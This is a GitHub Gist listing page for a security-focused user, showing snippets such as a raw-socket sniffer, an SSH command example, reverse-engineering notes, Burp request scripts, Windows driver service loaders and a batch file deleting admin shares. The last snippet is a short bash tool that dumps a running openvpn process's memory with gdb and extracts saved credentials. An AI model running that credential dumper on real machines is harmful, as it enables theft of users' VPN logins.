Skip to content

Instantly share code, notes, and snippets.

View maldevel's full-sized avatar
🌴
On vacation

maldevel maldevel

🌴
On vacation
View GitHub Profile
@maldevel
maldevel / pyrawcap.py
Created March 10, 2017 08:02 — forked from DiabloHorn/pyrawcap.py
Python sniffer using only raw sockets
#!/usr/bin/env python
#DiabloHorn https://diablohorn.com
#raw python pcap creater
#based on
# http://askldjd.com/2014/01/15/a-reasonably-fast-python-ip-sniffer/
#additional references
# http://www.kanadas.com/program-e/2014/08/raw_socket_communication_on_li.html
import sys
import time
@maldevel
maldevel / ssh.py
Last active October 16, 2016 09:13
Perform commands over ssh with Python
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('example.com', username='username', password='password')
stdin, stdout, stderr = ssh.exec_command('ls')
lines = stdout.readlines()
for line in lines:
if line.strip():
print line
@maldevel
maldevel / reversing_secrets_of_reverse_engineering.txt
Last active May 20, 2021 07:48
Notes # Reversing - Secrets of Reverse Engineering
## List All Functions containing GenericTable in their name from NTDLL.DLL
dumpbin /EXPORTS "C:\Windows\SysWOW64\ntdll.dll" | grep GenericTable | grep -E -v "Avl$|AvlEx$" | awk {'print $4'} > NTDLL_GenericTable_Methods.txt
##Print RVA (Relative Virtual Address)
dumpbin /EXPORTS "C:\Windows\SysWOW64\ntdll.dll" | grep GenericTable | grep -E -v "Avl$|AvlEx$" | awk {'print $3 " " $4'} > NTDLL_GenericTable_Methods.txt
##Find image base
dumpbin /HEADERS "C:\Windows\SysWOW64\ntdll.dll" | grep "image base"
@maldevel
maldevel / call_burp_requests.py
Last active September 16, 2016 20:14
Make Multiple Burp HTTP Requests
import requests
import os
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
protocol = 'https'
xsrf = 'xsrf-token'
@maldevel
maldevel / colorama.c
Last active August 10, 2016 13:58
Color text in Windows terminal application
/*
Copyright (C) 2016 @maldevel
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
@maldevel
maldevel / GetCoreInfo.cs
Last active January 16, 2016 06:31
Retrieve Processors Information
using System;
using System.Management;
namespace coreinfo
{
class Program
{
static void Main(string[] args)
{
PrintCoreInfo();
@maldevel
maldevel / DriverUninstallService.c
Last active January 15, 2017 16:15
Stops a service and removes it to unload a driver from Windows kernel.
/*
ServiceUninstaller - Stops a service and removes it to unload a driver from Windows kernel.
Copyright (C) 2015 @maldevel
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
@maldevel
maldevel / DriverServiceInstaller.c
Last active January 15, 2017 16:15
Creates a service and starts it to load a driver into Windows kernel.
/*
ServiceInstaller - Creates a service and starts it to load a driver into Windows kernel.
Copyright (C) 2015 @maldevel
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
@maldevel
maldevel / delete_default_hidden_shared_folders.bat
Last active January 15, 2017 16:15
Delete All default hidden shared folders from Windows
@echo off
net share /delete C$ /y
net share /delete D$ /y
net share /delete E$ /y
net share /delete F$ /y
net share /delete G$ /y
net share /delete H$ /y
net share /delete I$ /y
net share /delete J$ /y
#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag
grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"
strings *.dump | grep -B2 KnOQ | grep -v KnOQ
rm *.dump --force